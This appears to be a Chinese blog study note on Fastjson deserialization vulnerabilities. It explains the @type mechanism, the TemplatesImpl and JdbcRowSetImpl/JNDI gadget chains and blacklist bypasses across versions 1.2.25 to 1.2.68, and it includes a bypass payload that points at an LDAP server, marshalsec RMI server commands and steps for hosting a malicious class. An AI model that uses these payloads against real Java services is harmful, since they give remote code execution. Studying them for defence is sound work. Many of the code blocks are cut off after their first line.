之前面试的时候被问fastjson
原理,没答好,现在稍微缝合整理一下,跟参考的大哥们写的文章相比很浅,建议想要学习fastjson
漏洞原理的还是看参考部分的文章吧
fastjson
阿里的一个开源java类库,作用是java
对象与json
字符串的相互转化,即序列化(对象->json
)与反序列化
简单使用如下:
1 | <dependencies> |
1 | public class Main { |
1 |
|
使用过程中会调用的内容
parseObject(String text, Class clazz)
,构造⽅法 + setter
+ 满⾜条件额外的 getter
JSONObject parseObject(String text)
,构造⽅法 + setter
+ getter
+ 满⾜条件额外的 getter
parse(String text)
,构造⽅法 + setter
+ 满⾜条件额外的 getter
对于没有 set
⽅法的 private
成员,反序列化时传递 Feature.SupportNonPublicField
即可完成赋值
@type
fastjson
反序列化的漏洞要从@type
讲起
@type
是一个特殊注解,用于反序列化,效果是标识JSON
字符串中的某个属性是一个Java
对象的类型,正是这样的功能引起了相关漏洞
直接看具体例子
可以看到java.lang.Runtime
这个字符串值被@type
标识为了一个java
对象,在解析时的结果是java.lang.Runtime@7a5d012c
,也就是一个Runtime
类的实例对象
1 | public class Main { |
上面的这段代码可以利用反序列出来的Runtime
实例对象弹个计算器出来
1 | public class Main { |
传入SerializerFeature.WriteClassName
可以使得Fastjson
支持自省,具体效果就是给序列化后的json
字符串多一个@type
标识,如上图所示
漏洞
1.2.22-1.2.24
版本中的反序列化漏洞原自两点:
@type
字段指明反序列化的目标恶意类- 如前文所示,
fastjson
反序列化时,字符串时会⾃动调⽤恶意对象的构造⽅法,setter
⽅法,getter
⽅法等,只要在这些方法里写入利用内容,就可以完成漏洞利用。
TemplatesImpl链
TemplatesImpl(Feature.SupportNonPublicField)
利用链
扣来的脚本
1 | package com.crumbling; |
恶意类是一个继承AbstractTranslet
的Test
类,通过Test t = new Test();
来初始化
javac
编译成字节码,然后对字节码继续进行base64
编码填充POC
的 _bytecodes
字段,这就是TemplatesImpl
利用链的弹计算器
分析
json
字符串中主要有3个部分影响漏洞
@type
标识了反序列化的恶意⽬标类 TemplatesImpl
,FastJson
最终会按照这个类反序列化得到实例
_bytecodes
:继承 AbstractTranslet
类的恶意类字节码,使⽤ Base64
编码。
_outputProperties
: TemplatesImpl
反序列化过程中会调⽤ getOutputProperties
⽅法, 导致 bytecodes
字节码成功实例化,造成命令执⾏。
因为上述2个成员变量都是无set
的private
变量,所以反序列化的时候要传入 Feature.SupportNonPublicField
整套流程如下,构造一个TemplatesImpl
类的反序列化字符串,其中_bytecodes
是构造的恶意类,其父类是AbstractTranslet
,会被加载并使用newInstance()
实例化。在反序列化过程中getOutputProperties()
被fastjson
调用,其过程为getOutputProperties() -> newTransformer()-> getTransletInstance()-> defineTransletClasses() -> EvilClass.newInstance()
JdbcRowSetImpl链
TemplatesImpl
利⽤链因为需要开启 Feature.SupportNonPublicField
选项,所以还是具有较⼤的 限制。而更好的解决⽅案—— JdbcRowSetImpl
利⽤链配合JDNI。
大致思路如下
恶意类
1 | package com.crumbling; |
通过 javac
编译得到 Exploit.class
⽂件,将字节码⽂件放到Web⽬录下
1 | C:\Users\Hacker>python -m http.server |
POC
1 | package com.crumbling; |
开启 RMI
服务器,默认运⾏在 1099
端⼝,并设置返回对象为远程恶意类的引⽤
1 | java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer |
分析
@type
:指定恶意利⽤类为 com.sun.rowset.JdbcRowSetImpl
dataSourceName
:指定 RMI / LDAP
恶意服务器,并调⽤ setDataSourceName
函数
autoCommit
:调⽤ setAutoCommit
函数。
调用链流程:前文提到反序列化会调用目标类的setter/getter
方法,JdbcRowSetImpl
链在反序列化时就会调用的类中的setAutoCommit()
,其中又会调用connect()
方法
connect()
方法中有如下内容
1 | InitialContext var1 = new InitialContext(); |
其存在JNDI注入,调⽤ lookup 函数,参数可控且为 this.getDataSourceName()
,如果这个参数为http://127.0.0.1:8000/Exploit
,也就是我们上传的恶意类,那么就可以完成加载利用
黑名单机制
官⽅在1.2.25
版本更新中,对1.2.25-1.2.41
版本漏洞进⾏了修补。新增了 autoTypeSupport
反序列化选项,并通过 checkAutoType
函数对加载类进⾏⿊⽩名单过滤和判断。
1.2.25版本默认情况下, autoTypeSupport
为 false ,将不⽀持指定类的反序列化,默认使⽤⿊名单 +⽩名单验证。
运行前面的poc,会得到
可以在源码中看到黑名单
再看相对应的check
函数checkAutoType
代码比较占篇幅,这边说下逻辑:开启了autoType
,先后从白名单黑名单里进行判断,如果在白名单中匹配成功,会直接用TypeUtils.loadClass
加载,不会进行后续的黑名单匹配,没开就是反过来;如果黑白名单都没有匹配,那么在开启了autoType
或者expectClass
不为空,也就是指定Class
(?)类才会加载。
有黑名单机制,那就要考虑绕过,checkAutoType
本身的逻辑里没看到可绕过的部分,所以继续去loadClass
方法里看看
可以看到在第二个else if
里写的过滤逻辑,如果类名的字符串以L
开头并以;
结尾,则需要把开头的L
和结尾的;
给去掉,然后递归调用loadClass
从源码中可以看到,白名单是默认为空的那么一个比较简单的绕过方法就出来了
2步
ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
- 在指定的类名开头加上
L
,结尾加上;
1 | import com.alibaba.fastjson.JSON; |
check
逻辑里还有个[
开头也会去循环调用然后加载
所以相关绕过payload还有
1 | String payload = "{\"a\":{\"@type\":\"[com.sun.rowset.JdbcRowSetImpl\"[{, \"dataSourceName\":\"ldap://127.0.0.1:1389/ift2ty\", \"autoCommit\":true}}"; |
逻辑来看[{
的位置应该是,
但是会出现报错,提示token相关的问题,所以最后还是要[{
1.2.42绕过
在前一次补丁上再次进行修补
主要改动内容为
- 类名变成了哈希值,不过已经有了对应的表格LeadroyaL/fastjson-blacklist ;
checkAutoType
规则增加可以看到他会进行一次首尾的删除
所以只需要双写L
和;
即可继续绕过(根据他循环删除的特性,其实n写也没问题)
1.2.43绕过
L
n写问题彻底解决,但是[
的事情还没有搞定
Mybatis利用链
1.2.44-1.2.45
前面提到的问题已经被修复
这边参考的2个资料开始分叉,一边利用mappings
缓存绕过,一边则是Mybatis
链
首先是Mybatis
链
1 | public class Main { |
主要是会去调用POC
中传递 properties
成员会调⽤ setProperties
,这里面也调用了lookup
函数
data_source
传入恶意RMI
地址,完成加载利用
利用mappings
缓存绕过
1.2.46
开始Mybatis
的也没了
1.2.47
扣个payload
来
1 | package org.example; |
原理同样出现在checkAutoType
,其在不开启autoType的情况下通过利用链将数据放入缓存mappings
中,在后续会直接从缓存里取,而不需要进行检验
1.2.48绕过
1.2.48
开始缓存有关的内容已经被修复了
1.2.48-1.2.67
针对黑名单的绕过为主,需要存在有其他组件
1.2.68绕过
感觉1.2.68
开始这些版本都比较新,后续慢慢总结吧
更新了safeMode
,如果开启了safeMode
autoType
会被完全禁止,绕过的核心是传入checkAutoType
的参数expectClass
在前文fastjson
的简单使用中Person.class
即为expectClass
1 | Person person2 = JSON.parseObject(json2,Person.class) |
条件如下:
expectClass
为空:
typeNmae
不在denyHashCodes
黑名单中(必须条件)SafeMode
为false
(必要条件,默认为false)typeName
在TypeUtils#mappings
中且expectClass
为空且typeName
不为HashMap
且不为expectClass
子类
expectClass
不为空:
typeNmae
和expectClass
均不在denyHashCodes
黑名单中(必须条件)autoTypeSupport
为false
(默认为false)expectClass
在TypeUtils#mappings
中typeName
不是ClassLoader
、DataSource
、RowSet
的子类expectClass
不为null,且不为Object.class
、Serializable.class
、Cloneable.class
、Closeable.class
、EventListener.class
、Iterable.class
、Collection.class
typeName
是expectClass
的子类
参考
知识星球代码审计